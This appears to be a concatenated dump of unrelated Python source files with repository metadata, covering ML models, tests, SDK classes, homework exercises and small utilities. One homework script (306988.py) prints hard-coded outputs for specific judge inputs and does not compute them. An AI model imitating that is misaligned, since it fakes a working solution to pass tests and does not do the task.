"BSD-3-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-2-Clause",
"MIT",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 2,662 | py | from ..builder import DETECTORS
from .faster_rcnn import FasterRCNN
@DETECTORS.register_module()
class TridentFasterRCNN(FasterRCNN):
"""Implementation of `TridentNet <https://arxiv.org/abs/1901.01892>`_"""
def __init__(self,
backbone,
rpn_head,
roi_head,
... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
f82e5bb5a7ab5e8c5feeaf09b0b27b2a68ca3543 | c361a25acecd016677bbd0c6d9fc56de79cf03ed | /PTM/tests/NetworkHostTest.py | 24465c10617c8bc706896eaea73a686ec4fea431 | [] | no_license | danielmellado/zephyr | f8931633045959e7e9a974de8b700a287a1ae94e | dc6f85b78b50e599504966154b927fe198d7402d | refs/heads/master | 2021-01-12T22:31:24.479814 | 2015-10-14T05:39:04 | 2015-10-14T06:24:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,468 | py | __author__ = 'micucci'
import unittest
import json
import time
import os
from common.CLI import LinuxCLI
from PTM.ComputeHost import ComputeHost
from PTM.CassandraHost import CassandraHost
from PTM.ZookeeperHost import ZookeeperHost
from PTM.NetworkHost import NetworkHost
from PTM.RootHost import RootHost
from PTM.Ph... | [
"micucci@midokura.com"
] | micucci@midokura.com |
3d735ddb0894f281dd2e222048f3bd7dd290a95f | b4aaa26889f1c7e33a0de48848e30c0119284f14 | /app/tests/test_models/test_profile_parameter.py | 66cd0693d43123ad20ed3529f566cc95d37a6c98 | [] | no_license | paulosjd/btk2 | 1d727f360c9767add5135988c75df63e5d8ada8e | dc63b90a796750e6b26018443d2256fcc1339afb | refs/heads/master | 2022-07-05T13:57:07.071734 | 2020-05-19T08:23:14 | 2020-05-19T08:23:14 | 188,910,952 | 0 | 0 | null | 2022-06-21T23:23:37 | 2019-05-27T21:26:02 | Python | UTF-8 | Python | false | false | 3,111 | py | from collections import namedtuple
from unittest.mock import patch
from app.models import ProfileParamUnitOption
from app.tests.base import BaseTestCase
mock_ideals_data = {k: f'{k}_val' for k in
['ideal2_prepend', 'ideal', 'ideal2', 'ideal_prepend']}
class MockCalcParamIdeal:
def __init__(s... | [
"pjdavis@gmx.com"
] | pjdavis@gmx.com |
5c46e21a7c712de8c20df35aac7232945dd2de5e | 069dafce9f495f09bf8c2f76dbf5c045b7551721 | /parameter_search_run.py | 9b187b743f036d55c4b46d15f0b1e9df88fc9b9c | [] | no_license | dguarino/T2 | 26b1bc640812aa5438b09f9fab2bc73096cd7eef | 66b786928508089492f5f696c7c1576e098c6615 | refs/heads/master | 2020-04-03T22:39:06.059845 | 2020-03-13T15:43:02 | 2020-03-13T15:43:02 | 41,812,819 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,392 | py | # -*- coding: utf-8 -*-
import sys
from mozaik.meta_workflow.parameter_search import CombinationParameterSearch,SlurmSequentialBackend
import numpy
if False:
CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{
'retina_lgn.params.gain' : [0.1],
'l4_cortex_exc.pa... | [
"domenico.guarino@gmail.com"
] | domenico.guarino@gmail.com |
8be51e93ecf1dfcf1bdc6f52dba28b197841a503 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2607/60752/306988.py | dae9adee217584b8283a077e38a3a77149f01b12 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 376 | py |
num=int(input())
no=True
for i in range(num):
i=input()
if i=="0102010112":
no=False
print(2)
if i=="102100211102":
no=False
print(6)
if i=="01020101122200":
no=False
print(7)
if i=="0102010":
no=False
print(2)
if i=="10210021... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
4c64c9d474c1f60086cdba4d5537c4df90ce9022 | 4751a9daca11558dd0780f2e8b9477a484ebc7f4 | /src/qibo/tests_new/test_core_states.py | e6de75b1aef09e71410c5494b3f623d3da275459 | [
"Apache-2.0"
] | permissive | drheli/qibo | f6875ed39883fe7bfa0b8939abb042fe636c5de7 | b99568aee9f978a5a82e92860c8d17e3358af7b9 | refs/heads/master | 2023-04-17T20:40:44.324689 | 2021-04-29T16:29:40 | 2021-04-29T16:29:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,950 | py | """Tests methods defined in `qibo/core/states.py`."""
import pytest
import numpy as np
import qibo
from qibo import K
from qibo.core import states
def test_state_shape_and_dtype(backend):
original_backend = qibo.get_backend()
qibo.set_backend(backend)
state = states.VectorState.zero_state(3)
assert st... | [
"35475381+stavros11@users.noreply.github.com"
] | 35475381+stavros11@users.noreply.github.com |
39018bd8df654c888bf236f792358094e3d6bea6 | 77ae7c76d36009daa01b2317439c1f975f7932b2 | /exercicios/ex060att.py | f43127dd20c9afd7b1bbc847fd39bb8f04294c07 | [] | no_license | MatheusOldAccount/Exerc-cios-de-Python-do-Curso-em-Video | 5f26b5a2867fa1a2e36b486a809dfbe8b107b8c2 | 5696c49d3caf5cae817217a2da0598d1cf794f5b | refs/heads/master | 2022-03-22T10:49:33.666660 | 2019-11-25T21:24:43 | 2019-11-25T21:24:43 | 224,052,682 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 321 | py | fat = int(input('Digite um número para\ncalcular seu Fatorial: '))
print('Calculando {}! ='.format(fat), end=' ')
resultado = 1
while fat > 0:
if fat == 1:
print('{} ='.format(fat), end=' ')
else:
print('{} x'.format(fat), end=' ')
resultado *= fat
fat -= 1
print('{}'.format(resultado))
| [
"matheustavares1165@gmail.com"
] | matheustavares1165@gmail.com |
adcfd87bb4a72a735c4618f56ed5135b4423a71d | 7c47e106c9ec85a7239c84c55ad5f20972edefcf | /tests/heavy_sterile_dirac_neutrino/__main__.py | 3d91e82acbdf3d14050992aea89e033d2d9f6408 | [] | no_license | anasthesia/pyBBN | 11813717ad5023a9b29f9594ccde93fbc2d5a0c9 | 0e88604b765eb5ce2f196909c65cf2af11a8cc2f | refs/heads/master | 2021-01-21T03:37:46.309318 | 2016-05-10T12:03:50 | 2016-05-10T12:03:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,223 | py | # -*- coding: utf-8 -*-
"""
## Heavy sterile dirac neutrino
$$ M = 33.9 MeV $$
$$ \theta_\tau \approx 4.86 10^{-2} \sim \tau_N \approx 0.3 sec $$
http://arxiv.org/pdf/hep-ph/0002223v2.pdf
<img src="plots.svg" width=100% />
<img src="particles.svg" width=100% />
"""
import os
import argparse
from collections impor... | [
"andrew.magalich@gmail.com"
] | andrew.magalich@gmail.com |
099b9d0845f92ff8c2fa69e85d795893a024d24e | 7087a5dd1772c9456f098bc024a894dcaeef5432 | /backup/build/new-calkube/kubernetes-6.0.0_snapshot-py2.7.egg/kubernetes/client/models/v1_portworx_volume_source.py | 611c15aa0788155255a147f5d3ee6c627268a2b7 | [] | no_license | santhoshchami/kubecctl-python | 5be7a5a17cc6f08ec717b3eb1c11719ef7653aba | cd45af465e25b0799d65c573e841e2acb983ee68 | refs/heads/master | 2021-06-23T11:00:43.615062 | 2019-07-10T16:57:06 | 2019-07-10T16:57:06 | 145,669,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,234 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.10.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re... | [
"root@kube-node02.local"
] | root@kube-node02.local |
6424902da0def910bde07cd8f0ed83ed1b17aece | f2a18b4a1d759cfd44aff9be13848b4bc03560d8 | /ex32.py | 2c577cdcff980c7145146272002e01dbd099382f | [] | no_license | 5h3rr1ll/LearnPythonTheHardWay | 1e740b0d4ab71c4c5218599d970001684fa58eea | 5612f768b8ce93fcc4757e8db128017f00a6c2ea | refs/heads/master | 2021-01-13T05:06:20.749196 | 2017-02-07T19:32:15 | 2017-02-07T19:32:15 | 81,246,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 859 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
the_count = [1, 2, 3 , 4, 5]
fruits = ["apples", "oranges", "pears", "apricots"]
change = [1, "pennies", 2, "dimes", 3, "quarters"]
# this first kind of for-loop goes through a list
for number in the_count:
print("This is count %d" % number)
# same a above
for fruit... | [
"a@sherrill.de"
] | a@sherrill.de |
c59b601ebf130c4026f99e5789ac8c4b76a7e310 | b198ab1d3faf79d34b1745236daa5eb02a37e18e | /yggdrasil/metaschema/datatypes/tests/test_ScalarMetaschemaType.py | 48314f79d334dfd2818bdbb8f4e1a711a6736bc8 | [
"BSD-3-Clause"
] | permissive | leighmatth/yggdrasil | 688f13aa0d274217daec9f412269fbbaf5f10aef | dcc4d75a4d2c6aaa7e50e75095a16df1df6b2b0a | refs/heads/master | 2021-07-09T10:39:25.422978 | 2021-04-14T16:40:04 | 2021-04-14T16:40:04 | 245,011,886 | 0 | 0 | NOASSERTION | 2020-03-04T21:54:25 | 2020-03-04T21:54:24 | null | UTF-8 | Python | false | false | 7,355 | py | import copy
import numpy as np
from yggdrasil import units, platform
from yggdrasil.metaschema.datatypes.tests import test_MetaschemaType as parent
from yggdrasil.metaschema.properties.ScalarMetaschemaProperties import (
_valid_types)
class TestScalarMetaschemaType(parent.TestMetaschemaType):
r"""Test class f... | [
"langmm.astro@gmail.com"
] | langmm.astro@gmail.com |
285310cf1d4edc5a1443def90668c7c840468d8e | d2c4934325f5ddd567963e7bd2bdc0673f92bc40 | /tests/model_control/detailed/transf_BoxCox/model_control_one_enabled_BoxCox_PolyTrend_Seasonal_DayOfMonth_ARX.py | 1d28284256ded9da5f673fdeaad18a79bbde2158 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jmabry/pyaf | 797acdd585842474ff4ae1d9db5606877252d9b8 | afbc15a851a2445a7824bf255af612dc429265af | refs/heads/master | 2020-03-20T02:14:12.597970 | 2018-12-17T22:08:11 | 2018-12-17T22:08:11 | 137,104,552 | 0 | 0 | BSD-3-Clause | 2018-12-17T22:08:12 | 2018-06-12T17:15:43 | Python | UTF-8 | Python | false | false | 164 | py | import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod
testmod.build_model( ['BoxCox'] , ['PolyTrend'] , ['Seasonal_DayOfMonth'] , ['ARX'] ); | [
"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
bdbf66f680b1ea39771b59a2f8431b1111cdba9b | 6eddce1e728afade439a2eae69cb63bcfddd4591 | /PyCad/ObjectGroup.py | 4f7fd3b1db3fee0143f779be257de9e2c2adca98 | [] | no_license | jfu334/PyCad | 7f4858325b152adbe1e6395d577f9f4fbd8bfe7a | 29fe2de4b5a26161623c92d2903af7d2241e24c4 | refs/heads/master | 2020-11-26T16:56:43.436654 | 2019-12-21T19:43:22 | 2019-12-21T19:43:22 | 229,147,618 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 543 | py |
class ObjectGroup:
def __init__(self, *args, color=None):
self._objects=list(args)
if(color is not None):
for i in self._objects:
i.setColor(color)
def addObject(self, object_):
self._objects.append(object_)
def objects(self):
return list(self._objects)
def copy(self):
return ObjectGro... | [
"you@example.com"
] | you@example.com |
9e4f4b0bd91e9881e0c2b65bfc2072e361de6a75 | 0e538d58825dc3862556b5c68227a32b01db6ebf | /hackerrank/counter_game.py | 08e6d478959d8c86fe372faff900043538a182c0 | [] | no_license | nghiattran/playground | ac6f1e724153df4b84b7e1221765dd60638478fd | 6dfa0b9660ece8d51d439d26afc9d338b1547823 | refs/heads/master | 2021-01-12T09:21:03.068081 | 2017-08-06T22:36:29 | 2017-08-06T22:36:29 | 76,141,798 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 379 | py | def solve(n):
turn = 0
while n != 1:
if n & (n - 1) == 0:
n >>= 1
else:
hi = len(bin(n)) - 3
n -= 1 << hi
turn = (turn + 1) % 2
return 'Louise' if turn == 1 else 'Richard'
def test(n, expected):
res = solve(n)
assert res == expected
# n = 1
# expected = 'Richard'
# test(n, exp... | [
"nghiattran3@gmail.com"
] | nghiattran3@gmail.com |
46519bfa56ede49cd6af6ad77abced12dc33b167 | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/222/users/4079/codes/1846_1277.py | 484bb8fd32564afb1a3ff017b573748a9c0be05e | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 349 | py | from numpy import*
from numpy.linalg import*
tab=array ([[0,2,11,6,15,11,1],[2,0,7,12,4,2,15],[11,7,0,11,8,3,13],[6,12,11,0,10,2,1],[15,4,8,10,0,5,13],[11,2,3,2,5,0,14],[1,15,13,1,13,14,0]])
c1= int(input("Digite o numero da 1o cidade: "))
c2=int(input("Digite o numero da 2o cidade: "))
a= int((c1/111)-1)
b=int((c2/... | [
"jvlo@icomp.ufam.edu.br"
] | jvlo@icomp.ufam.edu.br |
d0cd842e8bb16c6c209c3cc94098b0e03846618e | b121b4135f0edf0e39c1ae7343c7df19f56a077f | /mysite/yaml_creator/models/deprecated/SingleFlux.py | 405936402b779d8e5d7652b7830c8ade95feced6 | [] | no_license | MPIBGC-TEE/bgc-md | 25379c03d2333481bd385211f49aff6351e5dd05 | 8912a26d1b7e404ed3ebee4d4799a3518f507756 | refs/heads/master | 2021-05-08T19:07:46.930394 | 2020-10-21T12:08:53 | 2020-10-21T12:08:53 | 119,548,100 | 3 | 3 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | from django.db import models
from . Variable import Variable
#class SingleFlux(models.Model):
class SingleFlux(models.Model):
expr=models.CharField(max_length=200)
source=models.ForeignKey('Variable',related_name='donating',on_delete=models.CASCADE)
target=models.ForeignKey('Variable',related_name='receivi... | [
"markus.mueller.1.g@googlemail.com"
] | markus.mueller.1.g@googlemail.com |
65fe121e163bb535d489ac05df663c58e7ebede3 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2289/60752/278304.py | cdacd943998c206e86876081ac33d814c666414b | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 872 | py | class node:
val=0
left=None
right=None
def __init__(self,val,l,r):
self.val=val
self.left=l
self.right=r
def makeTree(s,n):
if len(s)>=2:
left=node(s[0],None,None)
n.left=left
right=node(s[len(s)-1],None,None)
n.right=right
makeTree(... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
149a46642e9693a31f64149f977898857f644375 | 1af1c22de6fe8f1d3df09fdacc8efcb8adfc8f21 | /pylib/extract.py | 1ed77dce7f20c9b724eb14096b47481ed1f7c9a3 | [] | no_license | metatab-packages/civicknowledge.com-census-demosearch | baf1770d7bab92823e2214613924236d4f0cd83e | 274c0995a80eb525d9775597912fc47a8b0f135f | refs/heads/master | 2023-05-15T03:39:11.758064 | 2021-06-08T14:08:02 | 2021-06-08T14:08:02 | 333,870,115 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,797 | py | """
"""
import logging
from functools import reduce
from itertools import chain
from pathlib import Path
from auto_tqdm import tqdm
import metapack as mp
import pandas as pd
from demosearch import FileCache
logger = logging.getLogger(__name__)
class LPError(Exception):
pass
aggregates = {
'male_u18': ['b... | [
"eric@civicknowledge.com"
] | eric@civicknowledge.com |
fda25cd04a77bf1bfc47c634a5515d90cae9a5a2 | e6e0e108758213a96e73e836f032f27dc69c9fee | /leetcode/isomorphic_strings.py | 9bbfb794daaf54b284204b1e608626d91804b8fa | [] | no_license | kristogj/alg_dat | 1a41e70b8b169c79eb05c5e5f44f5de0e50bd9b9 | 7865bcce0f2aa858ff4329301b788fac5de2cd08 | refs/heads/master | 2020-03-30T05:26:36.536544 | 2018-10-06T22:06:45 | 2018-10-06T22:06:45 | 150,799,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 754 | py | class Solution(object):
def isIsomorphic(self, s, t):
"""
:type s: str
:type t: str
:rtype: bool
"""
if len(s) != len(t):
return False
m,n = {},{}
for x in range(len(s)):
if s[x] in m.keys():
if m[s[x]] != t[x]:... | [
"kristoffergjerde@gmail.com"
] | kristoffergjerde@gmail.com |
ab4c4b4bd0a3ccc555139b5410e85394b27166d0 | 2825bf6479e08dfead428ff9f29f28d5c23d953e | /25_2/25_6.py | 16ee0a2a14b274729d3136e9a7323e8b35aeabb8 | [] | no_license | zedaster/ImaevIntensive | bc459187dace7946d8ad75a04e058748134aeac4 | b91760fa23f25ce2d19778781f35416c177ab881 | refs/heads/main | 2023-06-22T00:24:47.039208 | 2021-07-20T10:40:54 | 2021-07-20T10:40:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | # for n in range(400_000_000, 600_000_000+1):
# x = n
# while x % 4 == 0:
# x //= 4
# while x % 9 == 0:
# x //= 9
# if x == 3:
# print(n, end=' ')
for m in range(2, 31, 2):
for n in range(1, 20, 2):
number = (2**m) * (3**n)
if 400_000_000 <= number <= 600_000_... | [
"serzh.kazantseff@gmail.com"
] | serzh.kazantseff@gmail.com |
d7b3582b4c52e7fb88539c13be1c092caeaff812 | a6e4a6f0a73d24a6ba957277899adbd9b84bd594 | /sdk/python/pulumi_azure_native/mixedreality/_inputs.py | e3ee76ba7c0e562f01879921a0d3d73612de3188 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | MisinformedDNA/pulumi-azure-native | 9cbd75306e9c8f92abc25be3f73c113cb93865e9 | de974fd984f7e98649951dbe80b4fc0603d03356 | refs/heads/master | 2023-03-24T22:02:03.842935 | 2021-03-08T21:16:19 | 2021-03-08T21:16:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,326 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from ... | [
"noreply@github.com"
] | MisinformedDNA.noreply@github.com |
ce92586470483837f6477b0a75a40dce98aa8f9a | a652f89c88fcecb3aa665cf20212064049e9a16f | /models/aos_questions_and_answer/dataset/elective_courses_questions/artificial_intelligence/ai_elective_questions.py | c7a2b24914c91838a6347b4bcede3ccf62a582a8 | [] | no_license | princelewis/Elective-Course-Recommender-System | cba3743d914a664145fda3ae060f4cf80bdfbbed | 9e5f165878f7521ce8967c72daa8b538252d0ae8 | refs/heads/master | 2020-05-19T08:19:39.793382 | 2019-03-29T11:50:00 | 2019-03-29T11:50:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,679 | py | # Importing required modules
import pandas as pd
from models.aos_questions_and_answer.dataset.elective_courses_questions.artificial_intelligence \
.procesing_ai_elective_courses import \
Util
# Initializing variables
ai_correct = 0
ai_failed = 0
se_correct = 0
se_failed = 0
cn_correct = 0
cn_failed = 0
sye_co... | [
"emmaldini12@gmail.com"
] | emmaldini12@gmail.com |
9d449527cdaa26e79a17950d62dcc6a2bdc7d18c | 34f1b1fc2fbca6b61858a83cbdf498fe99648209 | /scripts/create_metadata.py | 7da66e6aad7430fd22dfd617cee183a90212288c | [
"Apache-2.0"
] | permissive | firth/radcomp | 88a97b2918b3e0683d181085d10e3f8a78549e93 | a855a66189b1d7867a6c373d3fdc6ce67f6d3c01 | refs/heads/master | 2020-12-25T02:25:32.772407 | 2020-10-07T02:43:18 | 2020-10-07T02:43:18 | 41,178,899 | 0 | 0 | null | 2020-10-07T02:43:19 | 2015-08-21T21:49:04 | Python | UTF-8 | Python | false | false | 2,840 | py | """ Create the auxillary JSON metadata that goes with this production
{"meta": {"vcp": 212, "product": "N0Q", "valid": "2014-06-25T20:43:55Z",
"site": "DMX"}}
This magic requires that some modifications were done to nex2img to get this
information included in the GEMPAK log file
--- a/gempak/source/programs/upc/prog... | [
"akrherz@iastate.edu"
] | akrherz@iastate.edu |
5272cd23752277cc1560b83a7879696d5c876c27 | f7aac490b6bdda8a49a6d14534ef733e2cd34bcc | /Code for 1.10.2018/drawCircleXYMove-wrap.py | c3af761110a39aa3ca365c1e84745d4026d2937b | [] | no_license | nmessa/Stratham-Girls-Coding-Club | 67c203fa88f62f2603b62a0d0fd50135a03f69dc | 1bc786b6c794cc3159ed72be25130f9452fb23f6 | refs/heads/master | 2021-05-06T18:01:14.349667 | 2019-03-12T15:26:57 | 2019-03-12T15:26:57 | 111,935,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 760 | py | ## Draw Circle
## Author: nmessa
## Draws a circle moving in X and Y direction
## wraps around when it gets to the edge of the screen
from graphics import *
import time
def main():
height = 640
width = 640
radius = 50
#Create a windows to draw in
win = GraphWin('Circle Move XY with wr... | [
"noreply@github.com"
] | nmessa.noreply@github.com |
198e9d1ccf06652376cec667659e83c694b12771 | 3d1ee3ddb516f0b499f6272fbc7fbd6eefb88a63 | /jpackages/oss/1.0/actions/process.configure.py | a26799fc2992b053ec26cda45d6f47eafac6c365 | [] | no_license | despiegk/jp_serverapps | e72005004273db9dc01d1e64ddfcb28d06137f1f | 82ecc0b56ac85b2fb2d1eb02a80ab4ac99026f47 | refs/heads/master | 2016-09-06T16:06:39.529847 | 2014-08-17T10:17:03 | 2014-08-17T10:17:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,243 | py | def main(j,jp):
pass
#configure the application to autostart
# jp.log("set autostart $(jp.name)")
#numprocesses: if more than 1 process, will be started in tmux as $name_$nr
#ports: tcpports
#autostart: does this app start auto
#stopcmd: if special command to stop
#check: check... | [
"kristof@incubaid.com"
] | kristof@incubaid.com |
af35d9e3ecf3fb8d84581752c65f3cf3e9dc1c7d | 237db09490a4fc5976e6f8a8eb783b928bde1cac | /lib/exabgp/version.py | 3ea942e734182c2966ab29fa48eb5abce8e67786 | [] | no_license | brijohn/exabgp | c80a348035ff104b8d9e9c44ae07f97bf8e33728 | 788bde2842f2c2bc22580d0641003f2e93ff56ac | refs/heads/master | 2020-12-25T17:56:51.444190 | 2017-05-30T16:14:59 | 2017-05-30T16:14:59 | 65,487,232 | 0 | 0 | null | 2016-08-11T17:11:12 | 2016-08-11T17:11:12 | null | UTF-8 | Python | false | false | 245 | py | import os
release = "4.0.0-0478a014"
json = "4.0.0"
text = "4.0.0"
version = os.environ.get('EXABGP_VERSION',release)
# Do not change the first line as it is parsed by scripts
if __name__ == '__main__':
import sys
sys.stdout.write(version)
| [
"thomas.mangin@exa-networks.co.uk"
] | thomas.mangin@exa-networks.co.uk |
c204c0ca912de6b8876285198e54ba6d72afbf93 | eb93b37c5a76ef09c967ecfd32dc77f0a0e75bef | /article/migrations/0003_auto_20190712_1558.py | 081657f7d7bbbd5e642424535d10296f6309e9ec | [] | no_license | uktrade/data-hub-helpcentre | 9a58d466b264ccdaafea12576039dcf8f2c19015 | 74f741345df3b35164f6d4c1f17bc56c709a4662 | refs/heads/master | 2023-08-16T22:36:14.704989 | 2023-08-15T08:58:10 | 2023-08-15T08:58:10 | 199,607,056 | 4 | 2 | null | 2023-08-15T08:58:12 | 2019-07-30T08:15:54 | CSS | UTF-8 | Python | false | false | 696 | py | # Generated by Django 2.2.3 on 2019-07-12 15:58
import wagtail.blocks
import wagtail.fields
import wagtail.images.blocks
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("article", "0002_auto_20190712_1537"),
]
operations = [
migrations.AlterField... | [
"noreply@github.com"
] | uktrade.noreply@github.com |
73f2c0dde7fa284795d91a91d76bba4c78ef7a6f | 4b801b5aafac91dd71b9dc3f9a247efe98dc13f0 | /week3/serializer.py | d455db1ad93ca9f2f7b190f82c2ae1c108b7b58f | [
"MIT"
] | permissive | Langat05/Awards | 19f6a627861b7e54ebef705d804e121957185baa | df8f3f9ca1b7cbae1d88f3a3531a02a81b82186d | refs/heads/master | 2023-01-05T20:20:58.369698 | 2020-10-27T14:05:55 | 2020-10-27T14:05:55 | 306,889,072 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 405 | py | from rest_framework import serializers
from .models import *
class ProjectSerializer(serializers.ModelSerializer):
class Meta:
model = Projects
fields = ['title', 'description', 'image', 'author', 'created_date', 'author_profile', 'link']
class ProfileSerializer(serializers.ModelSerializer):
... | [
"justuslangat78@gmail.com"
] | justuslangat78@gmail.com |
b2b28a96fe3b8e65d34f0ef57de0e797013b889c | b873ea1def0810f67834bf4926901b9a8fead362 | /tuples_and_sets_09_21/students_grades.py | 2d987e90a25cbc6088cc5ead764ea9d1a0c51cd1 | [] | no_license | NikiDimov/SoftUni-Python-Advanced | 20f822614fa0fa7de6ded3956fa8d40d589a4a86 | d6c1fe886a3c27c82f03e5e4a6c670f0905d54e6 | refs/heads/main | 2023-08-23T17:42:32.063057 | 2021-10-25T10:32:03 | 2021-10-25T10:32:03 | 328,750,268 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | N = int(input())
dict_of_students = {}
for _ in range(N):
student, grade = input().split()
grade = float(grade)
if student not in dict_of_students:
dict_of_students[student] = []
dict_of_students[student].append(grade)
for key, value in dict_of_students.items():
print(f"{key} -> {' '.join([f... | [
"niki.dimov86@gmail.com"
] | niki.dimov86@gmail.com |
6735465791531aeeabc1ba1331fb80c55ae2c8f7 | cd4676555fc1066b5a84320ebbb1d4623066380d | /crusoe_observe/flowmon-rest-client/flowmonclient/resources/ads/Filters.py | 3bb92373672eb9ac13be90dde634a9a6f25fedd0 | [
"MIT"
] | permissive | wumingruiye/CRUSOE | 3ca542fa5362caf404593acfc4b01eb8f9b4d5f4 | 73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b | refs/heads/main | 2023-07-01T21:40:09.538245 | 2021-08-05T14:07:03 | 2021-08-05T14:07:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 171 | py | class Filters:
def __init__(self, client):
self.client = client
def all(self):
resource = "/filters"
return self.client.get(resource)
| [
"spaceks@ics.muni.cz"
] | spaceks@ics.muni.cz |
d6e677ac1447f8278ddff36b140132e55441832c | 4abd8812b5e13906ef5b93397548e71655e7fde3 | /WebFrame.py | 3c049b2484390aba2807bb3f2fef1e7be2b6f50d | [] | no_license | HMmelody/AID1808 | 6b06f09308c7b3ba7cb80367d4b4a2568bf93691 | c8893e45f5496a5fbcdd1db43f88b0df53290e52 | refs/heads/master | 2020-04-04T18:17:20.444824 | 2018-11-06T03:55:22 | 2018-11-06T03:55:22 | 156,157,644 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,817 | py | # coding=utf-8
'''
模拟框架程序部分
'''
from socket import *
from views import *
frame_ip = '127.0.0.1'
frame_port = 8080
frame_address = (frame_ip,frame_port)
# 静态网页位置
STATIC_DIR = './static'
# url决定我们能处理什么数据
urls = [('/time',show_time),('/hello',say_hello),('/bye',say_bye)]
# 应用类,将功能封装在类中
class Application(object):
de... | [
"tarena@tedu.cn"
] | tarena@tedu.cn |
3fb2b2cb9ec1a2718bd91fb9ee318afc55f997c6 | 51d46cf862654d30f5fa0ee35a9243c9661fc0eb | /User_/user_custom/user_custom/wsgi.py | c4912256bea59c34b54c8253916ca4ef2ffa19cc | [] | no_license | LikeLionCBNU/HamDongHo | 6762a8db487ae2807d1ce9d4d2df7e18d67eab70 | 082cea62cf4b5136309cbddc8c09e4e84f25de7c | refs/heads/master | 2022-12-06T22:48:17.500207 | 2020-08-19T14:31:32 | 2020-08-19T14:31:32 | 256,194,835 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 399 | py | """
WSGI config for user_custom project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_S... | [
"ii8858@naver.com"
] | ii8858@naver.com |
f98ec6b74f00596af6fcf03d9e58cc0dd42de5a5 | 296756045df29db632141dda85034fca35213c92 | /D3_4615_재미있는오셸로게임.py | 23a924a8a5dd7ae3b09b95e5d7b3b37e34338aa0 | [] | no_license | dabini/SWEA | 8b1b321a2126a41f0786e7212eb81ea0204716b6 | 4b61d34a4b089699a5594b4c43781a6f1dd2235e | refs/heads/master | 2022-12-24T02:36:01.169672 | 2020-09-27T11:56:13 | 2020-09-27T11:56:13 | 236,012,382 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,511 | py | T = int(input())
for t in range(T):
